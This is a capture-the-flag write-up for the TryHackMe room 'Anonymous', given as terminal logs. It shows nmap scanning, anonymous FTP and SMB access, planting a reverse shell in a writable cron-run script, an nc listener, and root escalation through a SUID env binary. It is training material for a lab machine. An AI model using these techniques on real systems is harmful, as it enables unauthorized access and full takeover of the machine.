

# Anonymous (THM)

ip of the machine :- 10.10.228.203

```
06:47 pm CyberCreedPC Wed Sep 18 2024 ~/testing 18:47 sohamt (4.238s)
ping 10.10.228.203 -c 5

PING 10.10.228.203 (10.10.228.203) 56(84) bytes of data.
64 bytes from 10.10.228.203: icmp_seq=1 ttl=60 time=188 ms
64 bytes from 10.10.228.203: icmp_seq=2 ttl=60 time=331 ms
64 bytes from 10.10.228.203: icmp_seq=3 ttl=60 time=222 ms
64 bytes from 10.10.228.203: icmp_seq=4 ttl=60 time=212 ms
64 bytes from 10.10.228.203: icmp_seq=5 ttl=60 time=198 ms

--- 10.10.228.203 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 188.289/230.058/330.568/51.560 ms
```

machine is on!!!

```
06:48 pm CyberCreedPC Wed Sep 18 2024 ~/testing 18:48 sohamt (1m 16.05s)
nmap -p- --min-rate=10000 10.10.228.203

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-18 18:48 IST
Warning: 10.10.228.203 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.228.203
Host is up (0.18s latency).
Not shown: 51572 closed tcp ports (conn-refused), 13959 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 76.01 seconds
```

ftp, ssh and smb is running on default ports...

**nmap -p 21,22,139,445 -sC -A -T5 -Pn -n 10.10.228.203**

Starting Nmap 7.95 ( <https://nmap.org/> ) at 2024-09-18 18:50 IST

Nmap scan report for 10.10.228.203

Host is up (0.18s latency).

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	vsftpd 2.0.8 or later
ftp-syst:			
STAT:			
FTP server status:			
Connected to ::ffff:10.17.68.223			
Logged in as ftp			
TYPE: ASCII			
No session bandwidth limit			
Session timeout in seconds is 300			
Control connection is plain text			
Data connections will be plain text			
At session startup, client count was 3			
vsFTPD 3.0.3 - secure, fast, stable			
_End of status			
ftp-anon: Anonymous FTP login allowed (FTP code 230)			
_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]			
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:			
2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)			
256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)			
256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)			
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open	netbios-ssn	Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel			

Host script results:

| smb-security-mode:

| account\_used: guest

| authentication\_level: user

| challenge\_response: supported

|\_ message\_signing: disabled (dangerous, but default)

| smb2-time:

| date: 2024-09-18T13:21:06

|\_ start\_date: N/A

| smb-os-discovery:

| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)

| Computer name: anonymous

| NetBIOS computer name: ANONYMOUS\x00

| Domain name: \x00

| FQDN: anonymous

|\_ System time: 2024-09-18T13:21:07+00:00

|\_clock-skew: mean: 0s, deviation: 1s, median: 0s

| smb2-security-mode:

| 3.1.1:

```
3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
```

ftp anonymous login is allowed...

```
06:53 pm CyberCreedPC Wed Sep 18 2024 ~/testing 18:53 sohamt
```

**ftp 10.10.228.203**

```
Connected to 10.10.228.203.
220 NamelessOne's FTP Server!
Name (10.10.228.203:sohamt): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> █
```

anonymous login successful...

```
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx  2 111      113      4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xrwx  1 1000      1000      314 Jun 04  2020 clean.sh
-rw-rw-r--  1 1000      1000     1161 Sep 18 13:24 removed_files.log
-rw-r--r--  1 1000      1000      68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> █
```

found a directory with some files, let's get them...

```
00:52 pm cybercure Wed Sep 18 2024 ~/testing 10:52 sonant (32.451s)
nmap --script smb-enum-shares.nse -p445 10.10.228.203

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-18 18:52 IST
Nmap scan report for 10.10.228.203
Host is up (0.16s latency).

PORT      STATE SERVICE
445/tcp   open  microsoft-ds

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.228.203\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (anonymous server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.228.203\pics:
|     Type: STYPE_DISKTREE
|     Comment: My SMB Share Directory for Pics
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\namelessone\pics
|     Anonymous access: READ
|     Current user access: READ
|   \\10.10.228.203\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|     Current user access: <none>
|_

Nmap done: 1 IP address (1 host up) scanned in 32.45 seconds
```

So used nmap smb-enum-shares script to get all the shares on the server.

06:55 pm CyberCreedPC Wed Sep 18 2024 ~/testing 18:55 sohamt

**smbclient** //10.10.228.203/pics/

Can't load /etc/samba/smb.conf - run testparm to debug it

Password for [WORKGROUP\sohamt]:

Try "help" to get a list of possible commands.

smb: \> ls

.	D	0	Sun May 17 16:41:34 2020
..	D	0	Thu May 14 07:29:10 2020
corgo2.jpg	N	42663	Tue May 12 06:13:42 2020
puppos.jpeg	N	265188	Tue May 12 06:13:42 2020

20508240 blocks of size 1024. 13306816 blocks available

smb: \> █

logged into pics shares and found some pictures, let's get them...

07:00 pm CyberCreedPC Wed Sep 18 2024 ~/testing 19:00 sohamt (0.024s)

**cat clean.sh**

#!/bin/bash

tmp\_files=0

echo \$tmp\_files

if [ \$tmp\_files=0 ]

then

echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed\_files.log

else

for LINE in \$tmp\_files; do

rm -rf /tmp/\$LINE && echo "\$(date) | Removed file /tmp/\$LINE" >> /var/ftp/scripts/removed\_files.log;done

fi

I think so clean.sh script is designed to delete every thing in the /tmp directory.

```
cat removed_files.log
```

nothing to delete means no current files in /tmp.

```
cat to do.txt
```

```
well!!! have already exploited anonymous login.
```

No file is of use. Except that we have anonymous login to ftp. Let's add a revshell over there and see what we can do....

```

115 Directory send OK.
ftp> put clean.sh
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
64 bytes sent in 8.8e-05 seconds (710 kbytes/s)
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 111      113      4096 Sep 18 13:41 .
drwxr-xr-x    3 65534    65534     4096 May 13  2020 ..
-rwxr-xrwx    1 1000     1000       64 Sep 18 13:44 clean.sh
-rw-rw-r--    1 1000     1000    2021 Sep 18 13:44 removed_files.log
-rw-r--r--    1 111      113       64 Sep 18 13:41 revshell.sh
-rw-r--r--    1 1000     1000     68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> █

```

So added revshell in clean.sh file and then uploaded it on ftp server directory where it got updated and as other we have read, write and execute all three permissions.

So start a nc listener on any port and wait a while to receive a connection as clean.sh is probably a cron job.

```

07:16 pm CyberCreedPC Wed Sep 18 2024 ~/testing 19:16 sohamt
nc -lnvp 9999

Listening on 0.0.0.0 9999
Connection received on 10.10.228.203 36012
python3 -c 'import pty; pty.spawn("/bin/bash")'
namelessone@anonymous:~$ █

```

So got a reverse shell connection..... as username "namelessone".

```

namelessone@anonymous:~$ ls
ls
pics user.txt
namelessone@anonymous:~$ █

```

got first flag...

```
namelessone@anonymous:~$ ls -al
ls -al
total 60
drwxr-xr-x 6 namelessone namelessone 4096 May 14 2020 .
drwxr-xr-x 3 root        root        4096 May 11 2020 ..
lrwxrwxrwx 1 root        root          9 May 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 namelessone namelessone  220 Apr  4 2018 .bash_logout
-rw-r--r-- 1 namelessone namelessone 3771 Apr  4 2018 .bashrc
drwx----- 2 namelessone namelessone 4096 May 11 2020 .cache
drwx----- 3 namelessone namelessone 4096 May 11 2020 .gnupg
-rw----- 1 namelessone namelessone   36 May 12 2020 .lessht
drwxrwxr-x 3 namelessone namelessone 4096 May 12 2020 .local
drwxr-xr-x 2 namelessone namelessone 4096 May 17 2020 pics
-rw-r--r-- 1 namelessone namelessone  807 Apr  4 2018 .profile
-rw-rw-r-- 1 namelessone namelessone   66 May 12 2020 .selected_editor
-rw-r--r-- 1 namelessone namelessone    0 May 12 2020 .sudo_as_admin_successful
-rw-r--r-- 1 namelessone namelessone   33 May 11 2020 user.txt
-rw----- 1 namelessone namelessone 7994 May 12 2020 .viminfo
-rw-rw-r-- 1 namelessone namelessone  215 May 13 2020 .wget-hsts
namelessone@anonymous:~$ ls -al ..
ls -al ..
total 12
drwxr-xr-x  3 root        root        4096 May 11 2020 .
drwxr-xr-x 24 root        root        4096 May 12 2020 ..
drwxr-xr-x  6 namelessone namelessone 4096 May 14 2020 namelessone
namelessone@anonymous:~$
```

there is only one user and didn't find any interesting files and directories. Let's do "sudo -l" to see what privileges does this user has.

Sudo -l is asking for a password which we don't have and didn't find any as such. Let's check for SUID files now.



[sudo] password for namelessone: namelessone

```
sudo: 3 incorrect password attempts
namelessone@anonymous:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9066/bin/mount
/snap/core/9066/bin/ping
/snap/core/9066/bin/ping6
/snap/core/9066/bin/su
/snap/core/9066/bin/umount
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/snap/core/9066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9066/usr/lib/openssh/ssh-keysign
/snap/core/9066/usr/lib/snapd/snap-confine
/snap/core/9066/usr/sbin/pppd
/bin/umount
/bin/fusermount
/bin/ping
/bin/mount
/bin/su
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
```

```
/usr/bin/chsh  
/usr/bin/newgidmap  
/usr/bin/chfn  
/usr/bin/sudo  
/usr/bin/traceroute6.iputils  
/usr/bin/at  
/usr/bin/pkexec
```

got some binaries, let's go to GTF0bins.

```
namelessone@anonymous:/tmp$ /usr/bin/env /bin/sh -p  
/usr/bin/env /bin/sh -p  
# id  
id  
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)  
# whoami  
whoami  
root  
# █
```

Saw on GTF0bins and found that env command can be used to escalate privileges. Basically /bin/sh was in env variables, so called /bin/sh in /usr/bin/env in privileged mode to get root/pwned shell.

```
# whoami  
whoami  
root  
# cd /root  
cd /root  
# ls  
ls  
root.txt  
# cat root.txt  
cat root.txt
```

got final root flag.....